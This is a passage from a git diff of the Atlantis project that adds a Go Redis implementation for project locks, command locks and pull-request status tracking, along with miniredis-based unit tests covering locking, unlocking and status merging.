nil +} + +// NewWithClient is used for testing. +func NewWithClient(client *redis.Client, _ string, _ string) (*RedisDB, error) { + return &RedisDB{ + client: client, + }, nil +} + +// TryLock attempts to create a new lock. If the lock is +// acquired, it will return true and the lock returned will be newLock. +// If the lock is not acquired, it will return false and the current +// lock that is preventing this lock from being acquired. +func (r *RedisDB) TryLock(newLock models.ProjectLock) (bool, models.ProjectLock, error) { + var currLock models.ProjectLock + key := r.lockKey(newLock.Project, newLock.Workspace) + newLockSerialized, _ := json.Marshal(newLock) + + val, err := r.client.Get(ctx, key).Result() + // if there is no run at that key then we're free to create the lock + if err == redis.Nil { + err := r.client.Set(ctx, key, newLockSerialized, 0).Err() + if err != nil { + return false, currLock, errors.Wrap(err, "db transaction failed") + } + return true, newLock, nil + } else if err != nil { + // otherwise the lock fails, return to caller the run that's holding the lock + return false, currLock, errors.Wrap(err, "db transaction failed") + } + + if err := json.Unmarshal([]byte(val), &currLock); err != nil { + return false, currLock, errors.Wrap(err, "failed to deserialize current lock") + } + return false, currLock, nil +} + +// Unlock attempts to unlock the project and workspace. +// If there is no lock, then it will return a nil pointer. +// If there is a lock, then it will delete it, and then return a pointer +// to the deleted lock. +func (r *RedisDB) Unlock(project models.Project, workspace string) (*models.ProjectLock, error) { + var lock models.ProjectLock + key := r.lockKey(project, workspace) + + val, err := r.client.Get(ctx, key).Result() + if err == redis.Nil { + return nil, nil + } else if err != nil { + return nil, errors.Wrap(err, "db transaction failed") + } + + if err := json.Unmarshal([]byte(val), &lock); err != nil { + return nil, errors.Wrap(err, "failed to deserialize current lock") + } + r.client.Del(ctx, key) + return &lock, nil +} + +// List lists all current locks. +func (r *RedisDB) List() ([]models.ProjectLock, error) { + var locks []models.ProjectLock + iter := r.client.Scan(ctx, 0, "pr*", 0).Iterator() + for iter.Next(ctx) { + var lock models.ProjectLock + val, err := r.client.Get(ctx, iter.Val()).Result() + if err != nil { + return nil, errors.Wrap(err, "db transaction failed") + } + if err := json.Unmarshal([]byte(val), &lock); err != nil { + return locks, errors.Wrap(err, fmt.Sprintf("failed to deserialize lock at key '%s'", iter.Val())) + } + locks = append(locks, lock) + } + if err := iter.Err(); err != nil { + return locks, errors.Wrap(err, "db transaction failed") + } + + return locks, nil +} + +// GetLock returns a pointer to the lock for that project and workspace. +// If there is no lock, it returns a nil pointer. +func (r *RedisDB) GetLock(project models.Project, workspace string) (*models.ProjectLock, error) { + key := r.lockKey(project, workspace) + + val, err := r.client.Get(ctx, key).Result() + if err == redis.Nil { + return nil, nil + } else if err != nil { + return nil, errors.Wrap(err, "db transaction failed") + } + + var lock models.ProjectLock + if err := json.Unmarshal([]byte(val), &lock); err != nil { + return nil, errors.Wrapf(err, "deserializing lock at key %q", key) + } + // need to set it to Local after deserialization due to https://github.com/golang/go/issues/19486 + lock.Time = lock.Time.Local() + return &lock, nil +} + +// UnlockByPull deletes all locks associated with that pull request and returns them. +func (r *RedisDB) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) { + var locks []models.ProjectLock + + iter := r.client.Scan(ctx, 0, fmt.Sprintf("pr/%s*", repoFullName), 0).Iterator() + for iter.Next(ctx) { + var lock models.ProjectLock + val, err := r.client.Get(ctx, iter.Val()).Result() + if err != nil { + return nil, errors.Wrap(err, "db transaction failed") + } + if err := json.Unmarshal([]byte(val), &lock); err != nil { + return locks, errors.Wrap(err, fmt.Sprintf("failed to deserialize lock at key '%s'", iter.Val())) + } + if lock.Pull.Num == pullNum { + locks = append(locks, lock) + if _, err := r.Unlock(lock.Project, lock.Workspace); err != nil { + return locks, errors.Wrapf(err, "unlocking repo %s, path %s, workspace %s", lock.Project.RepoFullName, lock.Project.Path, lock.Workspace) + } + } + } + + if err := iter.Err(); err != nil { + return locks, errors.Wrap(err, "db transaction failed") + } + + return locks, nil +} + +func (r *RedisDB) LockCommand(cmdName command.Name, lockTime time.Time) (*command.Lock, error) { + + lock := command.Lock{ + CommandName: cmdName, + LockMetadata: command.LockMetadata{ + UnixTime: lockTime.Unix(), + }, + } + + cmdLockKey := r.commandLockKey(cmdName) + + newLockSerialized, _ := json.Marshal(lock) + + _, err := r.client.Get(ctx, cmdLockKey).Result() + if err == redis.Nil { + err = r.client.Set(ctx, cmdLockKey, newLockSerialized, 0).Err() + if err != nil { + return nil, errors.Wrap(err, "db transaction failed") + } + return &lock, nil + } else if err != nil { + return nil, errors.Wrap(err, "db transaction failed") + } + + return nil, errors.New("db transaction failed: lock already exists") +} + +func (r *RedisDB) UnlockCommand(cmdName command.Name) error { + cmdLockKey := r.commandLockKey(cmdName) + _, err := r.client.Get(ctx, cmdLockKey).Result() + if err == redis.Nil { + return errors.New("db transaction failed: no lock exists") + } else if err != nil { + return errors.Wrap(err, "db transaction failed") + } + + return r.client.Del(ctx, cmdLockKey).Err() + +} + +func (r *RedisDB) CheckCommandLock(cmdName command.Name) (*command.Lock, error) { + cmdLock := command.Lock{} + + cmdLockKey := r.commandLockKey(cmdName) + val, err := r.client.Get(ctx, cmdLockKey).Result() + if err == redis.Nil { + return nil, nil + } else if err != nil { + return nil, errors.Wrap(err, "db transaction failed") + } + + if err := json.Unmarshal([]byte(val), &cmdLock); err != nil { + return nil, errors.Wrap(err, "failed to deserialize Lock") + } + return &cmdLock, err +} + +// UpdateProjectStatus updates pull's status with the latest project results. +// It returns the new PullStatus object. +func (r *RedisDB) UpdateProjectStatus(pull models.PullRequest, workspace string, repoRelDir string, newStatus models.ProjectPlanStatus) error { + key, err := r.pullKey(pull) + if err != nil { + return err + } + + currStatusPtr, err := r.getPull(key) + if err != nil { + return err + } + if currStatusPtr == nil { + return nil + } + currStatus := *currStatusPtr + + // Update the status. + for i := range currStatus.Projects { + // NOTE: We're using a reference here because we are + // in-place updating its Status field. + proj := &currStatus.Projects[i] + if proj.Workspace == workspace && proj.RepoRelDir == repoRelDir { + proj.Status = newStatus + break + } + } + + err = r.writePull(key, currStatus) + if err != nil { + return errors.Wrap(err, "db transaction failed") + } + return nil +} + +func (r *RedisDB) GetPullStatus(pull models.PullRequest) (*models.PullStatus, error) { + key, err := r.pullKey(pull) + if err != nil { + return nil, err + } + + pullStatus, err := r.getPull(key) + if err != nil { + return nil, errors.Wrap(err, "db transaction failed") + } + return pullStatus, nil +} + +func (r *RedisDB) DeletePullStatus(pull models.PullRequest) error { + key, err := r.pullKey(pull) + if err != nil { + return err + } + err = r.deletePull(key) + if err != nil { + return errors.Wrap(err, "db transaction failed") + } + return nil +} + +func (r *RedisDB) UpdatePullWithResults(pull models.PullRequest, newResults []command.ProjectResult) (models.PullStatus, error) { + key, err := r.pullKey(pull) + if err != nil { + return models.PullStatus{}, err + } + + var newStatus models.PullStatus + currStatus, err := r.getPull(key) + if err != nil { + return newStatus, errors.Wrap(err, "db transaction failed") + } + + // If there is no pull OR if the pull we have is out of date, we + // just write a new pull. + if currStatus == nil || currStatus.Pull.HeadCommit != pull.HeadCommit { + var statuses []models.ProjectStatus + for _, res := range newResults { + statuses = append(statuses, r.projectResultToProject(res)) + } + newStatus = models.PullStatus{ + Pull: pull, + Projects: statuses, + } + } else { + // If there's an existing pull at the right commit then we have to + // merge our project results with the existing ones. We do a merge + // because it's possible a user is just applying a single project + // in this command and so we don't want to delete our data about + // other projects that aren't affected by this command. + newStatus = *currStatus + for _, res := range newResults { + // First, check if we should update any existing projects. + updatedExisting := false + for i := range newStatus.Projects { + // NOTE: We're using a reference here because we are + // in-place updating its Status field. + proj := &newStatus.Projects[i] + if res.Workspace == proj.Workspace && + res.RepoRelDir == proj.RepoRelDir && + res.ProjectName == proj.ProjectName { + + proj.Status = res.PlanStatus() + + // Updating only policy sets which are included in results; keeping the rest. + if len(proj.PolicyStatus) > 0 { + for i, oldPolicySet := range proj.PolicyStatus { + for _, newPolicySet := range res.PolicyStatus() { + if oldPolicySet.PolicySetName == newPolicySet.PolicySetName { + proj.PolicyStatus[i] = newPolicySet + } + } + } + } else { + proj.PolicyStatus = res.PolicyStatus() + } + + updatedExisting = true + break + } + } + + if !updatedExisting { + // If we didn't update an existing project, then we need to + // add this because it's a new one. + newStatus.Projects = append(newStatus.Projects, r.projectResultToProject(res)) + } + } + } + + // Now, we overwrite the key with our new status. + err = r.writePull(key, newStatus) + if err != nil { + return models.PullStatus{}, errors.Wrap(err, "db transaction failed") + } + return newStatus, nil +} + +func (r *RedisDB) getPull(key string) (*models.PullStatus, error) { + val, err := r.client.Get(ctx, key).Result() + if err == redis.Nil { + return nil, nil + } else if err != nil { + return nil, errors.Wrap(err, "db transaction failed") + } + + var p models.PullStatus + if err := json.Unmarshal([]byte(val), &p); err != nil { + return nil, errors.Wrapf(err, "deserializing pull at %q with contents %q", key, val) + } + return &p, nil +} + +func (r *RedisDB) writePull(key string, pull models.PullStatus) error { + serialized, err := json.Marshal(pull) + if err != nil { + return errors.Wrap(err, "serializing") + } + err = r.client.Set(ctx, key, serialized, 0).Err() + if err != nil { + return errors.Wrap(err, "DB Transaction failed") + } + return nil +} + +func (r *RedisDB) deletePull(key string) error { + err := r.client.Del(ctx, key).Err() + if err != nil { + return errors.Wrap(err, "DB Transaction failed") + } + return nil +} + +func (r *RedisDB) lockKey(p models.Project, workspace string) string { + return fmt.Sprintf("pr/%s/%s/%s", p.RepoFullName, p.Path, workspace) +} + +func (r *RedisDB) commandLockKey(cmdName command.Name) string { + return fmt.Sprintf("global/%s/lock", cmdName) +} + +func (r *RedisDB) pullKey(pull models.PullRequest) (string, error) { + hostname := pull.BaseRepo.VCSHost.Hostname + if strings.Contains(hostname, pullKeySeparator) { + return "", fmt.Errorf("vcs hostname %q contains illegal string %q", hostname, pullKeySeparator) + } + repo := pull.BaseRepo.FullName + if strings.Contains(repo, pullKeySeparator) { + return "", fmt.Errorf("repo name %q contains illegal string %q", hostname, pullKeySeparator) + } + + return fmt.Sprintf("%s::%s::%d", hostname, repo, pull.Num), nil +} + +func (r *RedisDB) projectResultToProject(p command.ProjectResult) models.ProjectStatus { + return models.ProjectStatus{ + Workspace: p.Workspace, + RepoRelDir: p.RepoRelDir, + ProjectName: p.ProjectName, + PolicyStatus: p.PolicyStatus(), + Status: p.PlanStatus(), + } +} diff --git a/server/core/redis/redis_test.go b/server/core/redis/redis_test.go new file mode 100644 index 0000000000..61013ae084 --- /dev/null +++ b/server/core/redis/redis_test.go @@ -0,0 +1,983 @@ +package redis_test + +import ( + "bytes" + "crypto/rand" + "crypto/rsa" + "crypto/tls" + "crypto/x509" + "crypto/x509/pkix" + "encoding/pem" + "math/big" + "net" + "os" + "testing" + "time" + + "github.com/alicebob/miniredis/v2" + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/core/redis" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + + . "github.com/runatlantis/atlantis/testing" +) + +var project = models.NewProject("owner/repo", "parent/child", "") +var workspace = "default" +var pullNum = 1 +var lock = models.ProjectLock{ + Pull: models.PullRequest{ + Num: pullNum, + }, + User: models.User{ + Username: "lkysow", + }, + Workspace: workspace, + Project: project, + Time: time.Now(), +} + +var ( + cert tls.Certificate + caPath string +) + +func TestRedisWithTLS(t *testing.T) { + t.Log("connecting to redis over TLS") + + // Setup the Miniredis Server for TLS + certBytes, keyBytes, err := generateLocalhostCert() + Ok(t, err) + certOut := new(bytes.Buffer) + err = pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: certBytes}) + Ok(t, err) + certData := certOut.Bytes() + keyOut := new(bytes.Buffer) + err = pem.Encode(keyOut, &pem.Block{Type: "PRIVATE KEY", Bytes: keyBytes}) + Ok(t, err) + cert, err = tls.X509KeyPair(certData, keyOut.Bytes()) + Ok(t, err) + certFile, err := os.CreateTemp("", "cert.*.pem") + Ok(t, err) + caPath = certFile.Name() + _, err = certFile.Write(certData) + Ok(t, err) + defer certFile.Close() + tlsConfig := &tls.Config{ + Certificates: []tls.Certificate{cert}, + InsecureSkipVerify: true, //nolint:gosec // This is purely for testing + } + + // Start Server and Connect + s := miniredis.NewMiniRedis() + if err := s.StartTLS(tlsConfig); err != nil { + t.Fatalf("could not start miniredis: %s", err) + // not reached + } + t.Cleanup(s.Close) + _ = newTestRedisTLS(s) +} + +func TestLockCommandNotSet(t *testing.T) { + t.Log("retrieving apply lock when there are none should return empty LockCommand") + s := miniredis.RunT(t) + r := newTestRedis(s) + exists, err := r.CheckCommandLock(command.Apply) + Ok(t, err) + Assert(t, exists == nil, "exp nil") +} + +func TestLockCommandEnabled(t *testing.T) { + t.Log("setting the apply lock") + s := miniredis.RunT(t) + r := newTestRedis(s) + timeNow := time.Now() + _, err := r.LockCommand(command.Apply, timeNow) + Ok(t, err) + + config, err := r.CheckCommandLock(command.Apply) + Ok(t, err) + Equals(t, true, config.IsLocked()) +} + +func TestLockCommandFail(t *testing.T) { + t.Log("setting the apply lock") + s := miniredis.RunT(t) + r := newTestRedis(s) + timeNow := time.Now() + _, err := r.LockCommand(command.Apply, timeNow) + Ok(t, err) + + _, err = r.LockCommand(command.Apply, timeNow) + ErrEquals(t, "db transaction failed: lock already exists", err) +} + +func TestUnlockCommandDisabled(t *testing.T) { + t.Log("unsetting the apply lock") + s := miniredis.RunT(t) + r := newTestRedis(s) + timeNow := time.Now() + _, err := r.LockCommand(command.Apply, timeNow) + Ok(t, err) + + config, err := r.CheckCommandLock(command.Apply) + Ok(t, err) + Equals(t, true, config.IsLocked()) + + err = r.UnlockCommand(command.Apply) + Ok(t, err) + + config, err = r.CheckCommandLock(command.Apply) + Ok(t, err) + Assert(t, config == nil, "exp nil object") +} + +func TestUnlockCommandFail(t *testing.T) { + t.Log("setting the apply lock") + s := miniredis.RunT(t) + r := newTestRedis(s) + err := r.UnlockCommand(command.Apply) + ErrEquals(t, "db transaction failed: no lock exists", err) +} + +func TestMixedLocksPresent(t *testing.T) { + s := miniredis.RunT(t) + r := newTestRedis(s) + timeNow := time.Now() + _, err := r.LockCommand(command.Apply, timeNow) + Ok(t, err) + + _, _, err = r.TryLock(lock) + Ok(t, err) + + ls, err := r.List() + Ok(t, err) + Equals(t, 1, len(ls)) +} + +func TestListNoLocks(t *testing.T) { + t.Log("listing locks when there are none should return an empty list") + s := miniredis.RunT(t) + r := newTestRedis(s) + ls, err := r.List() + Ok(t, err) + Equals(t, 0, len(ls)) +} + +func TestListOneLock(t *testing.T) { + t.Log("listing locks when there is one should return it") + s := miniredis.RunT(t) + r := newTestRedis(s) + _, _, err := r.TryLock(lock) + Ok(t, err) + ls, err := r.List() + Ok(t, err) + Equals(t, 1, len(ls)) +} + +func TestListMultipleLocks(t *testing.T) { + t.Log("listing locks when there are multiple should return them") + s := miniredis.RunT(t) + rdb := newTestRedis(s) + + // add multiple locks + repos := []string{ + "owner/repo1", + "owner/repo2", + "owner/repo3", + "owner/repo4", + } + + for _, r := range repos { + newLock := lock + newLock.Project = models.NewProject(r, "path", "") + _, _, err := rdb.TryLock(newLock) + Ok(t, err) + } + ls, err := rdb.List() + Ok(t, err) + Equals(t, 4, len(ls)) + for _, r := range repos { + found := false + for _, l := range ls { + if l.Project.RepoFullName == r { + found = true + } + } + Assert(t, found, "expected %s in %v", r, ls) + } +} + +func TestListAddRemove(t *testing.T) { + t.Log("listing after adding and removing should return none") + s := miniredis.RunT(t) + rdb := newTestRedis(s) + _, _, err := rdb.TryLock(lock) + Ok(t, err) + _, err = rdb.Unlock(project, workspace) + Ok(t, err) + + ls, err := rdb.List() + Ok(t, err) + Equals(t, 0, len(ls)) +} + +func TestLockingNoLocks(t *testing.T) { + t.Log("with no locks yet, lock should succeed") + s := miniredis.RunT(t) + rdb := newTestRedis(s) + acquired, currLock, err := rdb.TryLock(lock) + Ok(t, err) + Equals(t, true, acquired) + Equals(t, lock, currLock) +} + +func TestLockingExistingLock(t *testing.T) { + t.Log("if there is an existing lock, lock should...") + s := miniredis.RunT(t) + rdb := newTestRedis(s) + _, _, err := rdb.TryLock(lock) + Ok(t, err) + + t.Log("...succeed if the new project has a different path") + { + newLock := lock + newLock.Project = models.NewProject(project.RepoFullName, "different/path", "") + acquired, currLock, err := rdb.TryLock(newLock) + Ok(t, err) + Equals(t, true, acquired) + Equals(t, pullNum, currLock.Pull.Num) + } + + t.Log("...succeed if the new project has a different workspace") + { + newLock := lock + newLock.Workspace = "different-workspace" + acquired, currLock, err := rdb.TryLock(newLock) + Ok(t, err) + Equals(t, true, acquired) + Equals(t, newLock, currLock) + } + + t.Log("...succeed if the new project has a different repoName") + { + newLock := lock + newLock.Project = models.NewProject("different/repo", project.Path, "") + acquired, currLock, err := rdb.TryLock(newLock) + Ok(t, err) + Equals(t, true, acquired) + Equals(t, newLock, currLock) + } + + // TODO: How should we handle different name? + /* + t.Log("...succeed if the new project has a different name") + { + newLock := lock + newLock.Project = models.NewProject(project.RepoFullName, project.Path, "different-name") + acquired, currLock, err := rdb.TryLock(newLock) + Ok(t, err) + Equals(t, true, acquired) + Equals(t, newLock, currLock) + } + */ + + t.Log("...not succeed if the new project only has a different pullNum") + { + newLock := lock + newLock.Pull.Num = lock.Pull.Num + 1 + acquired, currLock, err := rdb.TryLock(newLock) + Ok(t, err) + Equals(t, false, acquired) + Equals(t, currLock.Pull.Num, pullNum) + } +} + +func TestUnlockingNoLocks(t *testing.T) { + t.Log("unlocking with no locks should succeed") + s := miniredis.RunT(t) + rdb := newTestRedis(s) + _, err := rdb.Unlock(project, workspace) + + Ok(t, err) +} + +func TestUnlocking(t *testing.T) { + t.Log("unlocking with an existing lock should succeed") + s := miniredis.RunT(t) + rdb := newTestRedis(s) + + _, _, err := rdb.TryLock(lock) + Ok(t, err) + _, err = rdb.Unlock(project, workspace) + Ok(t, err) + + // should be no locks listed + ls, err := rdb.List() + Ok(t, err) + Equals(t, 0, len(ls)) + + // should be able to re-lock that repo with a new pull num + newLock := lock + newLock.Pull.Num = lock.Pull.Num + 1 + acquired, currLock, err := rdb.TryLock(newLock) + Ok(t, err) + Equals(t, true, acquired) + Equals(t, newLock, currLock) +} + +func TestUnlockingMultiple(t *testing.T) { + t.Log("unlocking and locking multiple locks should succeed") + s := miniredis.RunT(t) + rdb := newTestRedis(s) + + _, _, err := rdb.TryLock(lock) + Ok(t, err) + + new1 := lock + new1.Project.RepoFullName = "new/repo" + _, _, err = rdb.TryLock(new1) + Ok(t, err) + + new2 := lock + new2.Project.Path = "new/path" + _, _, err = rdb.TryLock(new2) + Ok(t, err) + + new3 := lock + new3.Workspace = "new-workspace" + _, _, err = rdb.TryLock(new3) + Ok(t, err) + + // now try and unlock them + _, err = rdb.Unlock(new3.Project, new3.Workspace) + Ok(t, err) + _, err = rdb.Unlock(new2.Project, workspace) + Ok(t, err) + _, err = rdb.Unlock(new1.Project, workspace) + Ok(t, err) + _, err = rdb.Unlock(project, workspace) + Ok(t, err) + + // should be none left + ls, err := rdb.List() + Ok(t, err) + Equals(t, 0, len(ls)) +} + +func TestUnlockByPullNone(t *testing.T) { + t.Log("UnlockByPull should be successful when there are no locks") + s := miniredis.RunT(t) + rdb := newTestRedis(s) + + _, err := rdb.UnlockByPull("any/repo", 1) + Ok(t, err) +} + +func TestUnlockByPullOne(t *testing.T) { + t.Log("with one lock, UnlockByPull should...") + s := miniredis.RunT(t) + rdb := newTestRedis(s) + _, _, err := rdb.TryLock(lock) + Ok(t, err) + + t.Log("...delete nothing when its the same repo but a different pull") + { + _, err := rdb.UnlockByPull(project.RepoFullName, pullNum+1) + Ok(t, err) + ls, err := rdb.List() + Ok(t, err) + Equals(t, 1, len(ls)) + } + t.Log("...delete nothing when its the same pull but a different repo") + { + _, err := rdb.UnlockByPull("different/repo", pullNum) + Ok(t, err) + ls, err := rdb.List() + Ok(t, err) + Equals(t, 1, len(ls)) + } + t.Log("...delete the lock when its the same repo and pull") + { + _, err := rdb.UnlockByPull(project.RepoFullName, pullNum) + Ok(t, err) + ls, err := rdb.List() + Ok(t, err) + Equals(t, 0, len(ls)) + } +} + +func TestUnlockByPullAfterUnlock(t *testing.T) { + t.Log("after locking and unlocking, UnlockByPull should be successful") + s := miniredis.RunT(t) + rdb := newTestRedis(s) + _, _, err := rdb.TryLock(lock) + Ok(t, err) + _, err = rdb.Unlock(project, workspace) + Ok(t, err) + + _, err = rdb.UnlockByPull(project.RepoFullName, pullNum) + Ok(t, err) + ls, err := rdb.List() + Ok(t, err) + Equals(t, 0, len(ls)) +} + +func TestUnlockByPullMatching(t *testing.T) { + t.Log("UnlockByPull should delete all locks in that repo and pull num") + s := miniredis.RunT(t) + rdb := newTestRedis(s) + _, _, err := rdb.TryLock(lock) + Ok(t, err) + + // add additional locks with the same repo and pull num but different paths/workspaces + new1 := lock + new1.Project.Path = "dif/path" + _, _, err = rdb.TryLock(new1) + Ok(t, err) + new2 := lock + new2.Workspace = "new-workspace" + _, _, err = rdb.TryLock(new2) + Ok(t, err) + + // there should now be 3 + ls, err := rdb.List() + Ok(t, err) + Equals(t, 3, len(ls)) + + // should all be unlocked + _, err = rdb.UnlockByPull(project.RepoFullName, pullNum) + Ok(t, err) + ls, err = rdb.List() + Ok(t, err) + Equals(t, 0, len(ls)) +} + +func TestGetLockNotThere(t *testing.T) { + t.Log("getting a lock that doesn't exist should return a nil pointer") + s := miniredis.RunT(t) + rdb := newTestRedis(s) + l, err := rdb.GetLock(project, workspace) + Ok(t, err) + Equals(t, (*models.ProjectLock)(nil), l) +} + +func TestGetLock(t *testing.T) { + t.Log("getting a lock should return the lock") + s := miniredis.RunT(t) + rdb := newTestRedis(s) + _, _, err := rdb.TryLock(lock) + Ok(t, err) + + l, err := rdb.GetLock(project, workspace) + Ok(t, err) + // can't compare against time so doing each field + Equals(t, lock.Project, l.Project) + Equals(t, lock.Workspace, l.Workspace) + Equals(t, lock.Pull, l.Pull) + Equals(t, lock.User, l.User) +} + +// Test we can create a status and then getCommandLock it. +func TestPullStatus_UpdateGet(t *testing.T) { + s := miniredis.RunT(t) + rdb := newTestRedis(s) + + pull := models.PullRequest{ + Num: 1, + HeadCommit: "sha", + URL: "url", + HeadBranch: "head", + BaseBranch: "base", + Author: "lkysow", + State: models.OpenPullState, + BaseRepo: models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + CloneURL: "clone-url", + SanitizedCloneURL: "clone-url", + VCSHost: models.VCSHost{ + Hostname: "github.com", + Type: models.Github, + }, + }, + } + status, err := rdb.UpdatePullWithResults( + pull, + []command.ProjectResult{ + { + Command: command.Plan, + RepoRelDir: ".", + Workspace: "default", + Failure: "failure", + }, + }) + Ok(t, err) + + maybeStatus, err := rdb.GetPullStatus(pull) + Ok(t, err) + Equals(t, pull, maybeStatus.Pull) // nolint: staticcheck + Equals(t, []models.ProjectStatus{ + { + Workspace: "default", + RepoRelDir: ".", + ProjectName: "", + Status: models.ErroredPlanStatus, + }, + }, status.Projects) +} + +// Test we can create a status, delete it, and then we shouldn't be able to getCommandLock +// it. +func TestPullStatus_UpdateDeleteGet(t *testing.T) { + s := miniredis.RunT(t) + rdb := newTestRedis(s) + + pull := models.PullRequest{ + Num: 1, + HeadCommit: "sha", + URL: "url", + HeadBranch: "head", + BaseBranch: "base", + Author: "lkysow", + State: models.OpenPullState, + BaseRepo: models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + CloneURL: "clone-url", + SanitizedCloneURL: "clone-url", + VCSHost: models.VCSHost{ + Hostname: "github.com", + Type: models.Github, + }, + }, + } + _, err := rdb.UpdatePullWithResults( + pull, + []command.ProjectResult{ + { + RepoRelDir: ".", + Workspace: "default", + Failure: "failure", + }, + }) + Ok(t, err) + + err = rdb.DeletePullStatus(pull) + Ok(t, err) + + maybeStatus, err := rdb.GetPullStatus(pull) + Ok(t, err) + Assert(t, maybeStatus == nil, "exp nil") +} + +// Test we can create a status, update a specific project's status within that +// pull status, and when we getCommandLock all the project statuses, that specific project +// should be updated. +func TestPullStatus_UpdateProject(t *testing.T) { + s := miniredis.RunT(t) + rdb := newTestRedis(s) + + pull := models.PullRequest{ + Num: 1, + HeadCommit: "sha", + URL: "url", + HeadBranch: "head", + BaseBranch: "base", + Author: "lkysow", + State: models.OpenPullState, + BaseRepo: models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + CloneURL: "clone-url", + SanitizedCloneURL: "clone-url", + VCSHost: models.VCSHost{ + Hostname: "github.com", + Type: models.Github, + }, + }, + } + _, err := rdb.UpdatePullWithResults( + pull, + []command.ProjectResult{ + { + RepoRelDir: ".", + Workspace: "default", + Failure: "failure", + }, + { + RepoRelDir: ".", + Workspace: "staging", + ApplySuccess: "success!", + }, + }) + Ok(t, err) + + err = rdb.UpdateProjectStatus(pull, "default", ".", models.DiscardedPlanStatus) + Ok(t, err) + + status, err := rdb.GetPullStatus(pull) + Ok(t, err) + Equals(t, pull, status.Pull) // nolint: staticcheck + Equals(t, []models.ProjectStatus{ + { + Workspace: "default", + RepoRelDir: ".", + ProjectName: "", + Status: models.DiscardedPlanStatus, + }, + { + Workspace: "staging", + RepoRelDir: ".", + ProjectName: "", + Status: models.AppliedPlanStatus, + }, + }, status.Projects) // nolint: staticcheck +} + +// Test that if we update an existing pull status and our new status is for a +// different HeadSHA, that we just overwrite the old status. +func TestPullStatus_UpdateNewCommit(t *testing.T) { + s := miniredis.RunT(t) + rdb := newTestRedis(s) + + pull := models.PullRequest{ + Num: 1, + HeadCommit: "sha", + URL: "url", + HeadBranch: "head", + BaseBranch: "base", + Author: "lkysow", + State: models.OpenPullState, + BaseRepo: models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + CloneURL: "clone-url", + SanitizedCloneURL: "clone-url", + VCSHost: models.VCSHost{ + Hostname: "github.com", + Type: models.Github, + }, + }, + } + _, err := rdb.UpdatePullWithResults( + pull, + []command.ProjectResult{ + { + RepoRelDir: ".", + Workspace: "default", + Failure: "failure", + }, + }) + Ok(t, err) + + pull.HeadCommit = "newsha" + status, err := rdb.UpdatePullWithResults(pull, + []command.ProjectResult{ + { + RepoRelDir: ".", + Workspace: "staging", + ApplySuccess: "success!", + }, + }) + + Ok(t, err) + Equals(t, 1, len(status.Projects)) + + maybeStatus, err := rdb.GetPullStatus(pull) + Ok(t, err) + Equals(t, pull, maybeStatus.Pull) + Equals(t, []models.ProjectStatus{ + { + Workspace: "staging", + RepoRelDir: ".", + ProjectName: "", + Status: models.AppliedPlanStatus, + }, + }, maybeStatus.Projects) +} + +// Test that if we update an existing pull status via Apply and our new status is for a +// the same commit, that we merge the statuses. +func TestPullStatus_UpdateMerge_Apply(t *testing.T) { + s := miniredis.RunT(t) + rdb := newTestRedis(s) + + pull := models.PullRequest{ + Num: 1, + HeadCommit: "sha", + URL: "url", + HeadBranch: "head", + BaseBranch: "base", + Author: "lkysow", + State: models.OpenPullState, + BaseRepo: models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + CloneURL: "clone-url", + SanitizedCloneURL: "clone-url", + VCSHost: models.VCSHost{ + Hostname: "github.com", + Type: models.Github, + }, + }, + } + _, err := rdb.UpdatePullWithResults( + pull, + []command.ProjectResult{ + { + Command: command.Plan, + RepoRelDir: "mergeme", + Workspace: "default", + Failure: "failure", + }, + { + Command: command.Plan, + RepoRelDir: "projectname", + Workspace: "default", + ProjectName: "projectname", + Failure: "failure", + }, + { + Command: command.Plan, + RepoRelDir: "staythesame", + Workspace: "default", + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "tf out", + LockURL: "lock-url", + RePlanCmd: "plan command", + ApplyCmd: "apply command", + }, + }, + }) + Ok(t, err) + + updateStatus, err := rdb.UpdatePullWithResults(pull, + []command.ProjectResult{ + { + Command: command.Apply, + RepoRelDir: "mergeme", + Workspace: "default", + ApplySuccess: "applied!", + }, + { + Command: command.Apply, + RepoRelDir: "projectname", + Workspace: "default", + ProjectName: "projectname", + Error: errors.New("apply error"), + }, + { + Command: command.Apply, + RepoRelDir: "newresult", + Workspace: "default", + ApplySuccess: "success!", + }, + }) + Ok(t, err) + + getStatus, err := rdb.GetPullStatus(pull) + Ok(t, err) + + // Test both the pull state returned from the update call *and* the getCommandLock + // call. + for _, s := range []models.PullStatus{updateStatus, *getStatus} { + Equals(t, pull, s.Pull) + Equals(t, []models.ProjectStatus{ + { + RepoRelDir: "mergeme", + Workspace: "default", + Status: models.AppliedPlanStatus, + }, + { + RepoRelDir: "projectname", + Workspace: "default", + ProjectName: "projectname", + Status: models.ErroredApplyStatus, + }, + { + RepoRelDir: "staythesame", + Workspace: "default", + Status: models.PlannedPlanStatus, + }, + { + RepoRelDir: "newresult", + Workspace: "default", + Status: models.AppliedPlanStatus, + }, + }, updateStatus.Projects) + } +} + +// Test that if we update one existing policy status via approve_policies and our new status is for a +// the same commit, that we merge the statuses. +func TestPullStatus_UpdateMerge_ApprovePolicies(t *testing.T) { + s := miniredis.RunT(t) + rdb := newTestRedis(s) + + pull := models.PullRequest{ + Num: 1, + HeadCommit: "sha", + URL: "url", + HeadBranch: "head", + BaseBranch: "base", + Author: "lkysow", + State: models.OpenPullState, + BaseRepo: models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + CloneURL: "clone-url", + SanitizedCloneURL: "clone-url", + VCSHost: models.VCSHost{ + Hostname: "github.com", + Type: models.Github, + }, + }, + } + _, err := rdb.UpdatePullWithResults( + pull, + []command.ProjectResult{ + { + Command: command.PolicyCheck, + RepoRelDir: "mergeme", + Workspace: "default", + Failure: "policy failure", + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 1, + }, + }, + }, + }, + { + Command: command.PolicyCheck, 